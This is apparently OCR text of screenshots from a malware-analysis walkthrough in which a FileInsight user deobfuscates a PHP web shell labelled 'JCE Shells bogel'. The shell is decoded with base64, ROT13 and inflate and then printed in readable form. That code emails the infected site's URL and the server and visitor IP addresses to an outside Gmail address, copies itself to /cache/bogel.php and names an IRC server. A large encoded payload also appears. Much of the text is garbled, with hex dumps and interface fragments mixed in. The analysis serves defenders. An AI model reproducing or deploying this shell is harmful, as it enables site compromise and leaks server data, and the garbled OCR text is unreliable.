53 54 22 5D 3B 0D OA 24 ;69 6E 6A 20 3D 20 24 5F|5T" 1] » 51n] = 5
23 45 52 56 45 52 5B 2252 45 51 55 45 53 54 S5F(SERVER["REQUEST |
55 52 49 22 5D 3B 0D OA:24 62 6F 64 79 20 3D 20{|URI"] ; Sbody =
22 4A 43 45 20 53 68 65i6C 6C 73 20 62 6F 67 65" JCE Shells boge
6C 20 5C 6E 24 77 65 6224 69 6E 6A 22 3B 0D OA(l \nSwebSinj"™;
24 73 61 66 65 6D 30 64 ;65 20 3D 20 40 69 6E 6% |Ssafemlde = @ini
SF 67 €5 74 28 27 73 61 ;66 65 SF 6D 6F 64 65 27| get ('safe mode'
29 3B 0D OA &9 66 20 28:21 24 73 €1 &6 65 6D 30i|) ; if (!5safem0
64 65 29 20 7B 24 73 65163 7572 69 74 79 3D 20i{|de) Ssecurity=
225341 46 45 S5F 4D 4F 44 45 20 3D 20 4F 46 46 "Sf—'-_E‘E_MOD.E = OFF .
22 3BTDOD OA 65 6C 73,65 20 7B 24 7 - =
72 69 74 79 3D 20 22 5341 46 45 5F ﬁ@ﬁﬂ! !s_'t';léﬂ]u;-__- - _oglease wait...
20 3D 20 4F 4E 22 3B TD' 3B 0D OAR 24 73 65 72 70 = ON"; i Sserp
65 72 3D 67 6574 68 6F 73 74 62 79 6E &1 6D 65/|er=gethocstbyname
28 24 5F 53 4552 56 4552 5B 27 53 4552 56 45 |{(5 _SERVER['SERVE
S e » 52 S5F 41 44 44 52 27 5D;29 3B 0D OA 24 69 6E 6A(IR_ADDR"']) ; Sinj
ERALTELL) BE Structures [3] Decode 65 6B 74 6F 72 20 3D 20 67 65 74 68 6F 73 74 62 |sktor = gethosthb
79 6E 61 6D 65 28 24 5F!53 45 52 56 45 52 5B 27|yname (5 _SERVER[ '
52 45 4D 4F 54 45 5F 41144 44 52 27 5D 2% 3B OD(REMOTE ADDR"'] } ;
0A 6D 61 69 6C 28 22 7365 74 6F 72 €1 6E 34 30 mail ("setoran4l
[ ox2e error_reporting... 34 40 &7 6D €1 69 6C 2E; 63 6F 6D 22 2C 20 22 24i({4@gmail.com” "3

Output

£ Values MelbElucus BE Calculator LN A Scripting
Press F1 for help Offset 2Eh (46) Length 7747h

i x 4:34 PM
g _ P GClROOEAD oo




Plugins Windows

Help

Filelnsight - New file 0* = >

Enter a URL here

h

Use Internet Explorer Proxy

fr)
™=
Get

U McAfee

MNew Open Close Save View View as
Text

Enter your proxy as [Server:Port] here

Mavigation fble2ala%chadaibd081a7e281f07... X Output of Customn basefd decode™ X Qutput of ROT13* X% Qutput of Raw inflate™ > NETRTIIIVE-1 1 b » X

X Supported for HTML, OLEZ2, PE and Flash.

-}

-}

Szafemlde =
if (!5safemlde)

Sinjektor =

rename (Ssource,

Ssafemlde =

if (!Szafemlde)

else

EPQVENRENINY BE Structures [ Decode echo
a echo
Bookmarks echo

s~

Output

"<font
"<font
"<font

" F ot

error reporting(0);
Hif (!isset (5 SESSION['bajak'l)) {
Svisitcount = 0;
Sweb = $ SERVER["HTTP_ HOST"];
5inj = 5 _SERVER["REQUEST URI"]:
Sbody = "JCE sShells bogel “\nfweb%inj";
@ini get('safe mode'):;
{Ssecurity= "SAFE MODE = QFF";}
else {$security= "SRAFE MODE = ON";};
Sserper=gethostbyname (5 SERVER['SERVER ADDR']):
gethostbyname (5_SERVER['REMOTE ADDR']);
mail ("setorand404@gmail.com”, "Sbody","Hasil Bajakan http://Swebfinj\nSsecurity\nIP Server = Sserper’n IP Injector= Sinjektor");
5 SESSION['bajak']l = 0;

else {$ SESSION['bajak'l++:}:
Hif (isset(5_GET['clone'])){ .
Ssource = §_SERVER['SCRIPT FILENAME']; The PHP code is deobfuscated
S5desti =5 SERVER['DOCUMENT ROOT']."/cache/bogel.php";
Sdesti) ;

@ini get('safe mode'):;

{$security= "SAFE MODE : OFF bogel @ irc.blackunix.us";}
{$security= "SAFE MODE : ON bogel @ irc.blackunix.us";}
"<titlerbogel - exploit</title><br>";

size=3
size=3
size=3

=1 =7

color=#FFFSEE»Ketika Sahabat Jadi Bangsat !<br>";
color=#FFF5EE>Server : irc.blackunix.us 7000<br>";

color=#FFFEEE>Status : sCanneR ON<br><br>";
el Ar=2 N0 T " Scoamciiritir e e

Copied 30535 bytes from offset Ox2e to 0x7774 to new tab 'New file 0°'.

£ Values melbrlucus B Calculator By R Scripting

Press F1 for help
&




w B2 Filelnsight - New file 0* = >

Edit Search Plugins Windows Help

AL B

MNew Open Close Save

-

Enter a URL here =

Use Internet Explorer Proxy - E U HCAfee‘-

Enter your proxy as [Server:Port] here

[;;

View |View as
as Hex  Text

MNavigation
X Supported for HTML, OLEZ2, PE and Flash.

Output of ROT13* X Output of Raw inflate* X Newfile 0* X 1F - X

3cRepW78a9sgoNMPmME rAVNROKATCYkrD2ezu/ fBInF39GS 1pw+XRemdwlObi7LO0ksFIDcHL10CRKK éwlaonD7 ftwwSOvbhb¥vweorHRAEqoXazf2wFu2dD2X2Hov1 8 amdfodvtgotnX4wXsGz51/0OeHz
8/CiMAgOYWB1ADT2XSW1EX/ 7T2vovgBB8KhdEe813DYNecEiOMIrezTglGolv+sytg/nethz fEzbE8WEMpYZhVe/ di dwnmé+vE3gMeu3+gimehuwlaS6JdEryo+icegpiwe smoNOVSieVFRUYLEwwZccoE4E
Vrlg7DoJ4sSewarP3NDsedJ3J4BoDwbl ] xHg8PbTg3 /fakyYCfvRdh¥nTX /355 %crUWsd+heHxMmUi hTulXTC2mOXHUzEME4 Lesrwl aXxB1V3H+g+GuzZeGr5teGrrbl 3b8TJROav4DvVp01bh ] 6NWOT 2
cHg3chBEEJIiLgjE2384CfLBACEIi+/00]VCnx88esDghs /EWT 28 cMkbO TS fnbEPT IMegFLgfpe TETId+sMOBDREAVV1z9aXSr+4+Mvadf4CL702A95urdEovTrev40IgIsEXnz 1/ bPEEcOe0b7 zW]
yvoO]8DN3/8frVNUkS£0s£6T51h/ JWEE9VEI3B6T+kbeakrL6FkBA 7/ 1KSwvS6vn5vi% 98/ cg51fWySZ5LEsnhg2TplBMh1 AgfvkBt2 6JgHYg+u3j30C
. . r XVEved 3UEWnugVSdV10Hc+sAQT1F23GrTr22s Z2rOPrBet KEMuywS LauRDSgMESSCSi I3mirOr InGERORE61groz 3PUXUS2I12viIml JiskjOESoZ+mPVE
IS replaced W|th 3tYyoMw2C1lsd8Xo9vle9Tg2dkuvhCoL7qBt 9168 xJCRhLzS I ZPgy3sVYUKi Ad5COmF/ zYEKX OM4ui +mpnbHZCOBWC 9ChwEj ladBmgaNg382/ 1t rVvayTt
b¥aonNmsJAH3IMbgECMb2 kwBnbMSbnZDrUBKzMWd2GIMkGZ520GalIxbgZyzWOIFC0CEXss1GG2pN+VHNY3FeDSkxzA0G2k3czho73M3TnHEZgachufall

gopaMy aliogxl pUp=OXe N edFSENftkIMV/DNHLAfmANWjVO+Chzzi j¥yuarwéTIPJomHGkiu370px202c0Z ] rimwgugCeulkwGILt TMZ550/ 2ZRFmeMMEyA/ LouQxi fh25p02y9C5e
IZS90RPAPzda9ZPZVEZPrHOT36)RenGeaTOSDTIOTEL JutboeabY TvGdOSwmYVmM MO+ DPzeTfpbNF1V4Av40bDS55PkLulJaMARBZ 0r0koE3wing JGOdDFRBoebECSV3pxrwVent VI ThfAZr ZgXHEGIEIE1 LeRKpEEVALS
+hTW2Ue3XsVYNoWT1BinVEIXgmOwlhE /1 PY1 LT3 zXFilgFssgNizzCGAU=ay 397X Xegs1BUHDIuOlHSnR5 ] 1 r 3PARSC4 ENdnEcmgy M2 bLGhYrPe0rWIQs4 r eM78El1b+yyi BmMeocEXnWESuSmyzBZxVecE6 03 TBTVEZY
ripyWm2iedquéBPYE+obXS1a0/ 6t GCBprSDRNYNXLLAbnnXRUAxGSBERICHNTCTWSsDVEN45Y24nrbsxmDIS1 PYRo+caEaHeMyN 9558 8aMzr IVmmRr FPHI4NWLENTMELN+ 1 1hSpmILWScta00Il JenWW 7] SoH0r5Ji P01 jha
NijYXT/HfDbBtxzE/HyvDOpPRBRSSUBX6k0a0TJG+zGTFWX SugBaf4wKPE88815C7G+nhlirc0%hoPSc2dIRsZCalkNZZqu2 JBgQLtEC+NS5026DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE 2e00x07 PYMEtpggL5xX 202
3ccBs)pyrdNHkfGCebN4vvla3z8xh5vhWooy]l fnFtgé0eQjeOMb I8 ] JYBENJE2Jz TxGtncdnt0hXaZrRbcEKANE38EeFD4+x083M0T14+5CaaCXpzgyAS524Nwl/gecLPCESNIELAMOY TDr JMBr¥1 5hTévh8nTmYgfo DNz
royUDWIE+FCzYpShiE07IdpvlHEgdVEsG3CsaEJggdEncroskTp+NadWvIJiNGUTYtvgM4+ErYBnm/ Jta070ITEVEs/VpuFSvsgY TR+ TXpuy6VSZ 7eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SAULBxUE
5zHeSf3gA2VvCRRExfCt1Ar+63knef80dabig7BABSulTFMGAePEWSF4S5Tkm,/ peS+po]j JalgC/ Za4dZ2dVpYSuce+rmtIBVOL8/ cgMxTTAPawncFlOXDve IOy To2mWezbICyGVE+5XEbo 9Xp SvgEt £t P5dY6TPWUMSPs5r
t+aC4Tho+y20HZDXvWHh,/ 10ThaFoBOsPUrar+2wASTUISHIYZPGCyx1YHSzsh9ToTsyGvvy e EdUvmEVY3gfjCp8I3an8ryml B8 5x5r¥o 6/ nYOvvEBLirNE2NGaCY TwH/ IWnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1 T4y
g8LHEtdulGsIS5Be22taYhuTk+15BaXI1lbple5jmTwBl0kE/ Jfumi7jCexedb2736gC+]Y0w2 fgS5pP68azbbigxeEic/35xpD3]+35UgzVimgne+PIyo fhuHOLAxr IKyrZgnwi i+ FEF20zPWCLapCPecocFEhEEUe 30u]
8ap2R00b/wVnRnlkPoyARbwPheeYrPXcLIU4EZtBMArSeIfLUSKXUCUtgNfHECE TRy 7 fHdZbgPs2dTaSD0z5EPh] DENY Jwe fOMx Uy 1 YWMWENALNNS 1 fevREMEND TpQo9yn/MxbcBzz 1HWFrB/uCebns /180y /UDT z+F
sPOQfEdpZiiF3I27RVSASHHU,/OEwwWWE z5b 4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5 ) IxTGW3MaxFeQhC8 JvFeiWTFk TNpoW2RtU2104 11 SvyTO0GH=sa0ON+4RvyRePAB0x5gFD/120eIxxS mr+Ap]
BSUSBETEGELfCPOXRITH0CKEG] g/ w30UQXCPUugF+R11HouZ 6Tl inwY4usSYHOJ1FSkgTekK2VyISfHEhRDACPi TcFc6YXTSEXngR2D6 vl / wBX POLXMYMAMYvx 7 10MaalcD3I0O0FYFOSOMO TmEFP1714g2I9NISvEkypdve
zzPOkhHV3JEryITMOCp4hpGmWlShTiRATOkdyMivdeyCE/ TIgOWEJAEBmys+¥1lejoH+3P2Id20Tgv4vAMSERYFignF /wyLr 31 VHgrOERYW3gZ JEMcGyFefOgT 03 ¥ xmyNvpabVegSuveX 07 1VUafETRugd60BpvL 001k
BRI IWRTNY B Structures [§] Decode ho3cBhJgAbHZBIQCkZrOfNC Sh9bTY JTxmmNpkbkUjTRtbgY¥E IhSNKSE1D e+ TkHue SUSGEW3p]1E2ZFb3 91 hwDnyAEBHED1I4ts8Tn2BEe3PXxTWE0gaNdzESGngOus lUpz¥U21hec¥Yj2C 1/ SmicMLZml1 TOMHE+ 9YMEY /] 2¢
yFiX1/EbviazgUE3roUirITpSgf2h50glLBsUiLRLAKEhtgsdS/ rHIXE+0udNkoy+Ts5CacenkH32x6DI LvaJF6]25LecHgGTPrMeqovelfR/TiS/ 2fkdm2 /McSBRRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE
rbS87Fui/Z2+48+1LYFE4AmBf 1 +kSmATwmi ] fHD20dH4R3k+NNJhJIXDGEIaxu5,/U4f4PsyD2gtecgelE+fvY+abDQviBaKEULL1 IJZy4 LMWGZFFsWyzaXYFnk2gXLEmfx0/VhbiGs0aWus4MWbjB2CraHauQY+Tecu7LuRWE

ZFIVOYKEALFPiIRVNt TURELYWVrPV,/ DuymxR,/ 1 JCTgMtKoe 6054 Y3gIPUom386/ L0 60X TpOqx0250x2RITI ImHO9PpLETyLvDSDSUz TTzr SVY39eV+6bIKJous /McdAtcRY5aJZ2gVdISGMM/ 0z007cC0] Tkgg6ScIVUC
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Bookmarks q

Output

Copied 30535 bytes from offset Ox2e to 0x7774 to new tab 'New file 0°'.

Method 2:
Replacing “eval” with “print” and executing as PHP code

£ Values melbrlucus B Calculator B8 ER Scripting
Ln1 Col11 Len0|INS

W =5 W} -« TR DE A O




v B2 Filelnsight - New file 0* - >

Home Edit Search Plugins Windows Help

|+ Operations Basic » ™
Compression g U HCAfee
Crypto L
Flugins Encoding »

Mavigation Emulate code LG RTINS  Output of Custom basebd decode™ X Output of ROT13* X Output of Raw inflate* X New file 0* X 4 F = x

X supportedfc  Parsing File comparison php print(gzinflate(str rotl3(baseéd4 decode ('5X17kS5r¥lvifzeke38HTz0doRZIWANLZnDEJeTyBoNItCAgzp0XcTECL]ICIpEsgfSfegRRtnEindvOokgisE+T7L2TbS0c3Ruxl+wV+v3ajknrzA0Xz4 r A

3
;Z::ﬁtion : Hash values //nP3//2w8aN3cRopWT 829 sgoNMPMK rAVNROKAECYkrD22zu/ FBInF39GS 1 pw+XRem4wl0bi TL0ks FIDCHL L 00RE6wlaonD 7 FtwwSOvh Yvwe o rERAEqoXaz £ 2wFu2dD2X 2Hovl 8Amdfod v gotn¥+wXsGz 51/ OeHz
YOR 3 Send to (GU) GquTthrgawSﬂﬂmdmmonmﬁwmwemeﬁnusﬂﬂmﬂtouhacupmgmmandmnwDmpmqulGoLv+sytg/nethzszbSWGMp?ZhVC!di4wnm6+vF3quu3+gimehuwlaS6JdKryo+AceqpfwesmﬂNO?SieVFRuYwaw;ccoE4E
Check for update vaEthEquVrlq?DDJ4sSe?érPéNDseaJ3J4BoD?bpjxHq?Pqu3fakyYCvathnTXfSSs9cIUW5d+heHmeU1hIuIXTCEmDKHUzHMB4Lsrw1aXxBlV3H+q+GuzZeGrSteGrrbleBTjRGav4DvaDlbjGNWQTE
e 82G+bEBSH+L1rTrcHg3chBXEJiiLgjG2354GELEACELIxi+/00jVCnx88sDghs/EwTx8cMkbOJ9 fnbEPT 0MegFLgfpe 7TEId+sMO0BDREavV1z9aXSr++Mvadf4CL70aR9%urdEovTrzv4QJgIlsEXnzl /bPXEcOeCbT zW1
75fYpu/PxrmPsONBNgFTaiDCZ4 THoyM6uwKia6R+]eD+nbOEyvo0j8DN3 /8 frvNUkSfOsf6I5ih/jWE59VZ3B6T+kbeatrL6FkBA 7/ 1RSwvS6vn5vi998/cg51 fWlySZSLEsnhg2TplBMhl AgfvkBt26JgHYg+u3j 300

vjuZS3B0ThEjHOSHC]+yn+7k77S0ivatf/PEbUBgHhIYLUQL xVXyed 3UKWnugV5dV10HC+s5A0T1F23GrTr22sZr0PrBet kXMuywSLauKDSgMESSC9iI3mirOr InGRKORG61grcz3PuXUS2I12viInl JiskjOESoZ+mEVE
UnKeSuucivUged+McPmI 6gQlY0Z/ oPvoHdD/ I34mLEXFViu/w3tY¥yOMw2Clsd8Xo9vHe9Tg2dkuVhCIL7gBt91G8xJCRhLzS I ZPgy3sVYUK1AASCOmE/ zYKX SM4ui +mpnbHZCOBWC9ChwP ] 1adBmgaNg382/1trVAY Tt
G3GTHSS51xhNL1TM5A74+B/atMLYPYVEGHZzHNa ] Yopex31s0T 5Xa0nNms JAH3MbgECMb2 kwBnbMSbnZDrUBKzMWd2GJMkGEZ520Gal TXxbgZyvzWOIFGOCEXss1GG2pN+VHNY 9FeDS kxzA0G2k3czho 7T3M3TnHZgachufall
BfgcpaMQZS+taQifgxl jpOpx0Xet+5TNIDeccIMVLIPOHMRXedFSENftkIMV,/DNHLAfmANWjVO+Chzzi jXyuarw6TIPjOmHGkiu37 0px202c0Zj rIimwgvgCeudkwGILtTMZ550/ 2ZKRFmeMMEyA/ Loudxi fh25p02y3C5e
IZS90RPAPzda9ZPZVEZPrHOT36]RenGeaeTOSDTIOTES JutboeabY JTvGdOSwmYVmMEM0+ DPzeTfpbNF1V4Av40bDS55PkLu0JaM4AREBZ 0r0koE3wing JGOdDFEcebECSV3pxrwVemt VI ThfAZr ZgXHGGIKIiE1 LeKpEEVALS
+hTW2Ue3XsVYNoW71BinVEIXgmOwlhB /i PY1 LT3 zXFgFssgNizzCGAUeay3g7XXecgs1BUHDIu0OlHSnR5 ] 1 r 3PARSG4ENdnEcmgy IM2bLGhXrPe0rWIQs4 r M7 8E1b+ yyi BmMec6XnWESuSmyzBZxVec603TBTVEZY
ripyWm2iedquéBPYE+obXS1a0/ 6tGBprSDRNYNXLLAbnnXRUdxGSBEICNTCTWSsDVEN45Y24nrbsxmDJIS]1 PYRo+caEaHcMyN 958 8aMzr IVmmRr FPHI4NWLENTMELN+ 1 1hS5pmILWS5cta00I J6nWW 7] SoHO0r5Ji P01 jhe
NjYXT/HfDbBtxzE/HyvDOpPRBRSuBX6k0a0TJG+zGTFWX SugBaf4wKPE8S815C7G+nhlirc09hoPSc2dIRsZCalkNZZqu2 JBgQtEC+N502 6DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE Z2e00x07 PYMEtpggL5xX 202
3ccBspyrdNHkfGCebN4vv1la3z8xh5vhWQoy]l fnFtg60eQjeOMbI8] JYBENJE2Jz TxGtncdnt0hXaZrRbcERKENS38EeFD4+x083M0TI14+9CaaCXpzgyAS524Nwd/gecLPCSNISL2MOY 7DrJMBrX1 5hT6vh8nTmYgfoDN =
royUDWIE+FCzYpShiEQT7IdpvlHSgdVSsG3CsaEJggdEncroSkTp+NadWvIJiXGUX T YtvgM+ErYBnm/ jta070ITEVEs/VpuFSvsgY 1RJ+TXpuy6VsSZ 7eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SAUbLBRUE
5zHeSf3gA2VVCRKExfCt1Ar+63knef80dabig7BABSulTFMGA=PEWSF45Tkm/ pcS+po]jJalgC/ ZAdZdVpYSuce+rmtIBVOL8/ cgMrTTAPawncF10XDve IOy To2mWezbICyGVEb+5XEbo 9XpSvgEt ftP5dY6TPWUMSPS5r
t+aC4Thbc+y20H2DXvWHh/ 10ThaFoBOsPUrar+2wA9TUISHIYZPGCYyx1YHSzsbh9ToTsyGvvyeKdUvmEVY3qgfjCp8I3an8r¥ml B8 5x5rXo6/ nYOvvEBirNK2NGaCY TwH/ IWNnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1T4ry
gBLHtduQGsI55B02ZtaYhWu’ k+lSBaXJlbp1c5jm§§ﬁiBE§?’ ¥ ﬁtm+ﬂt€a¥§W@EEEicw353pn3j +35UgzV4mgne+PIyo6huHOLA xr IRyrZgnwii+FEF20z PRCLapCPcoFEhE 6Ua90u]j
8ap2R00b/wVnRnlkPoyAAbwPbeeYrPXcLIU4EZtEMWrSe utgsiﬁlc el & qgPs2dTashoz 51 0t Ny jwe £OMxUy 1 YWMH 6NALNNS i fe vRRMEND TpQo9yn/MxbcBzz 1HWFrB/uCeDns /180y /UDT z+F
sPOQfEdpZiiF3I27RVSASHHU/OEWwWWE z5b4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5) IxTGW3MaxFecQhC8 JjvFsiWTFk TNpoW2RKtU210411 SwvyT0GHsa0ON+4RvyRAePAB0x5gFD/1Z20eIxxSemr+Ap]
BSUSBGETEGELfCPOXRI T+0CXEG]g/w30UQXCPugF+R1iHcuZ 6Tl inwY4uSYHOJ1iFSkg7ekK2VyISfH6hRDACPi TcFc6YXTSXngK2D6ve/ wBX POLXMYMAMYvx 7 10MaalcD3I00FYFOSOMO TmFPi714g2I9NISvEkyp4ve
zzPOkhHV3JE6ryITMICpAhpGmWlShTiRATOkdyMivdeyCE/ TIgOWE A8 Bmys+X1lejoH+3P2Id20Jgv4vAMsSERYFfgnF/wyLr 31 VHgrOERYW3gZ JEMcGyFefogT 03 ¥ xmyNvpabVegSuveX071VUafHTRKugd60BpvL 001k
ERI IR Bz Structures 3] Decode ho3cBhJgAbHZBIqCKkZrOfNC Sh9bTY JxmmNpkbkUjTRtbg¥8 IThSNKSE1D e+ 7kHueS5USGEw3p]1E2ZFb3 91 hwDnyA6BHED1I4ts8Tn2Be3PXTW60gaNdzE9GngOus lUpz¥U21hcYj2C1/ 5micMLZm1 TOMH+ SYMEY /] 2¢
yFiX1/EbviazgUE3roUirITpSgB2h50glLBsUiLRL.AKEhtgsdS/ rHIXE8+0udNkoy+Ts5CaceHnkH32x6DI LvadJF6]25LcHgGTPrMeqovelfR/TiS/ zfkdm2 /McOBRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENGFD1UE
LR Ere * rbS87Fui/Z2+8+1LYFE4AmBf 1 +kS5mATwmiW ] fHD20dH4R3k+NNJhJIXDGIaxu5,/U4f4PsyD2gtcgelE+fvY+abDQviBaKEULL1 IJZ2y4 LMWGZFFsWyzaXYFnkZ2gXLEmfx0,/VhbiGs0aWu64MWbjB2CraHauQY+Tecu7LuRWE
2FIVOYKEALFPiRVNt 7UhGLYWVrPV/DuymxR,/ 1 JCTgMtKoe6054Y3gI PUom386/ Lo 60X TpOgqx0250x2RITIImHO9PpLETyLvDSDSUz TTZzr VY 39eV+6bIRKJous/McdAtcRYs5aJZgVdISGMM/ 0z007cC0] Tkgg6Sc IV
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U |+ Filelnsight - New file 0* — b4

Home Edit Search Plugins

Nawvigation [ R R GER LG E R A I Y Output of Custom b 4 decode® X Output of ROT13* X Output of inflate*®

X supported for HTML, OLE2, PE and Flash. <?php print (gzinflate (str rotl3 (basef4 decode ('5X17k5r¥lvifzek638HTz0doRZIWANLZnDEJeT yvEoNItCAgzp0XcTZCL]ICIp85gf9fegRREnX1nJvokgisK+7L2Tb%03Ruxl+vV+v3ajknrxA0Xz4 T A
“""““9’i”"ﬂ"“°"“"“”““"95g0NHPerAVNROkAfCYkrD2ezu/fBJnF39G91pw+XRem4lebi7L0ksFIDcHLlOOKK6wDaDnD?ftwwSvaYvweorHRAEquaszwFuZdD2K2H0vl8Amdfo4vtgctnX+stGzSi/OeH2
capa APT72X5W18X/ TzvovgB8Ehd6ee813DYNchiOMIrezTglGoLv+sytg/nethz fEzb8WEMpY ZhVe/ didwnmb+vE3gMeu3+gimehuwlasSeJdRryot+AceqpiwesmoNOVEieVFRUYLiwwZ cocoE4E
envwp EhBkI ez SewarP3NDse8J3J4BoDwbLjxHg8PbTq3/akyYCfvRdh¥nTX /355 9crUlsd+heHxMmUihTul XTC2mOXHUzHME4 Lsrwil aXxB1lV3H+giGuzZeGr5teGrrbl 3b8TjROav4DvVp01b] 6NWQT 2
82C+bRBSH{ Pelook EJ11LgjG2384GEfLEBACEIxi+/00jVCnx88sDghs/EwTx8cMkbOISfnbEPT 0MegFLgfpe TEId+sMOBDREaVV1Zz9aXSr++Mvadf4CL70aA95urdEovTrzv40JgIsEXnz]l /bPX8c0e0bT zWl
75fYpu/Px: D'E“b_a CZ4 THoyM6uwKia6R+jeD+nbOEyvo(j8DN3 /8 frVNUkSf0sf6I5ih/ jWE55VZ23B6T+kbearkrL6FkBd7/1RK5wvS6vn5vi 998/ cg51fWySZ5LEsnhg2Tpl BMhl AgfvkBt26JgHYg+u3]) 300
viu2S3B0O7] #Dm k7 7Soivatf/PEbUBGHhIYLUQOtxVEyed 3UEWnugVS5dV10HCc+sAQJ1F23GrTr22sZr 0PrBet k¥MuywS5LauKDSgMESSC9iI3mir0r InGERORE61grez3PuXUS2I2viIml JiskjOESoZ4mEVE
UnKEeS5uuci: lﬁa_ SL7gBt91G8xICRhLzSIZPgy3sVYURKIADSCOME/ zYEX9M4ui +mpnbHZCOBWCSChwPjladBmgaNg382/1trVAYTt
G3GTHS51x]  ©°MPt . o DrUBRzMWd2GiMkGZ5Z20Gal TxbgZyzWOIFG0CEXss1GG2pN+VHNy9FeDSkxzA0G2k3czho 73M3 TnHAga6hufall
BfgcpaMQz: LEES Y zij¥yuarwé7IPjCmHGkiu370px202c0Z] rimwgvgCeudkwGILtTMZ550/ 2ZKFmcMMTyA,/ LouQxi fh25p02y9C5e
IZ90RPdPz¢ 3 1V4y4o0bDS55PkLuQJaM4REZ 0rQkoE3wingJGOdDFBcebECSV3pHrwVsmt VT ThfAZr AgXHGG1IRIiE1 LeKpEEVALE
+hTW2ue3x owershel KomOwlhB/iPY1LfT3zXFAgFssqNizzCGATsaySg 7 XXegs1BUEDIu0l HS5nR5] 1r 3PARSG4ENdnEcmgy IM2bLGhXr Pe0rWIQs 4 ré6M7 8E1b+yyi SmMeo6XnWfSuSmyzBZxVech 03 TRTVEZ Y
ripyWmZie: 20/ 6t GBprSDRNyNXLLAbnn¥RUAxGSBEICHTCTWS5sDVEN+5Y24nrbsxmDJIS1 PYRo+caEaHeMyN9S8j 8aMzr IVmmRr FPHS+NWLENTME6LN+ 1 1hS5pmLWS5ctaC0I J6nWW 7] SoH0r5J1i P01 jha
AHyvDOpPRBRSSUBX6k0a0T JG+zGTFWX 9ugBaf 4wKP888815CT7G+nhlirc0%h0PSc2dIRsZCalkNZZqu2 JBQtEC+NS02 éDobsVk7dIc8bobCxmDaWlnrOPtoea 9 IGPONE Ze00x07PYMtpggL5xX 202
p4vvla3z8xh5vhWooyl fnFtgé60eQjeOMbI8] JYBBNIJE2Jz7xGtncdnt0hXaZrRbcERSBNE38EeFD4+x083M0I1+9CaaCXpzgyAS24NwI/gecLPCENJSL2MOY 7TDrJMBrX15hT6vh8nTmYgfoDNz
-pleSngSsGBCsaEngdanroBkTp+NaBWvIJ1KGUX7thqM+ErYBnmfjtaO?DITBVESfvquﬁvng?KJ+7Kpuy6VSZ?eRR4KWwadRsTZuozIrthe104ngEBGfIZSNMOYDTBdUbeuE

Customize menu

YH92sb9TOTsvavyGKdemE?ySquCpBIBanBerlBBEKSrXOGfnYOvaerKZNGaCYTWHIIanKYTBD/geSleprrUHTSHOzp]IgXlTér%

Tho o o bl gﬂﬁitﬁg+ﬂt@?§%@mEicQ/353pD3j+35quU4m@c+PIy06huHGL4xrIKyngnwii+FKF202PWCLapCPcoFBhEGUeBOuj
IS mMmenu is CUStomlza e C el & qgPs2dTashoz 51 0t Ny jwe £OMxUy 1 YWMH 6NALNNS i fe vRRMEND TpQo9yn/MxbcBzz 1HWFrB/uCeDns /180y /UDT z+F

° . ° M7DZB+T7XG54+sz2noyutdQ74h5 ] IxTGW3MaxFecQhCl JvFsiWTFk TNpoW2EtU210411 5vyT0GHsaON+4RvyRAePd80x5qFD/120eIxxSémr+ap]
Wlth the JSON Conflg flle. USYHOJiFSkqTekK2VyI5fHEhRDACPiTcFC6YxTSXngK2D6vCe/ wBXPOLKMXMAMV v T 1 0MaaLeD3 IOQFYFOSOMO TmEFPi 71492 I 9NISvRkypdve

EBmys+XlejoH+3P2IdZ0Jgv4vAMsEBYFfgnF/wyLr S1VHgrOERYW3gZ JEMcGyFecfCgT03 Y xmyNvpabVegSuveX071VUafHTRugqd60BpvLO01iE
B2 ENRELTN B Structures 6] Decode Dje+7kHueSUSGew3p]1E2ZFb391ihwDnyACBHED1TI4ts8 Tn2B63PxTWE 0gaNdzESGngOuslUpz¥U21he¥)zC1/5micMLZml1 TOMH+ 9YM6y/ ] Z¢
8+0ud4Nkoy+Ts5CaceHnkH32x6DILvaJF6] 25LecHgGTPrMeqovelfR/IiS/ zfkdm2 /McSBRVEXGTA/ATOMYUXLulZ1R1 rGWOC2WwHEENgGFD1UL

L] L]
Kmarks The Con'ﬁg f||e can be Opened axu5/U4f4PsyD2qtcgelE+fvY+abDQviBaKEULbiIJZy4 LMWGZFFsWyzaXYFnkZgXL8mfx0/VhbiGs0aWué4MWbjB2CraHauQY+TcuT LuRWE
= Uom386/LBoe0XTpOgx0250x2RTTI ImHIPpLETyLvDSDSUz TTzr9VY3%eV+ebIRKJous /MocdAtcRYsaJZgVdISGMM/ 0z007cC0O] TkggeScIVUc

° .
WIth default text edltor by trhm1 FhroBRv R ZE IS BDN.The S ¥ rnunirelmA+ / DR11cu? LTOGATY co s Rt AFAR 3 neNT.r ATV /4l T Anilul vMERY /AP h B T B la] ~9RTWw] A+ 2V TE Y
>

Output CIiCking "customize menu"

£
' Values E:BElatyel B Calculator [=] Cutput [llsc RISl
Press F1 for help Ln1 Col11 Len !:1'| INS

fn ; 4:37 PM
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U |= Filelnsight - Output of Send to (CLIJ* — >

Edit Search Plugins Windows Help

|+ Operations

Nawvigation ! fble?alalc6adaSbd081a7e281f07... X Output of Custom basebd decode® > Output of ROT13* x  Output of Raw inflate® X Newfile 0* x [olsTRuEs L AL {ol)

¥ supported for HTML, OLE2, PE and Flash. command line:

C:/Users/user/Desktop/tools/php-8.0.7-Win32-vsl6e-x64/php.exe —f c:lusersiuserhappdata‘’localitemph\tmpgr2if3

error reporting(0);
Hif (!isset (5 _SESSION['bajak'l)) {
Svisitcount = 0;
Sweb = 5_SERVER["HTTP_HOST"];
5inj = S_SERVER["REQUEST_U'RI"];
Sbody = "JCE Shells bogel ‘“nSwebk3ini";
Szafemlde = @ini get('safe mode');
if (!%safemlde) {S$security= "SAFE MODE = QFF";}
else {$security= "SAFE MODE = ON";};
Sserper=gethostbyname (5 SERVER['SERVER ADDR']):
Sinjektor = gethostbyname (5 SERVER['REMOTE ADDR']):;
mail ("setorand404@gmail.com”, "Sbody","Hasil Bajakan http://Swebfinj\nSsecurity\nIP Server = Sserper’n IP Injector= Sinjektor");
5 SESSION['bajak'] = 0;
-}
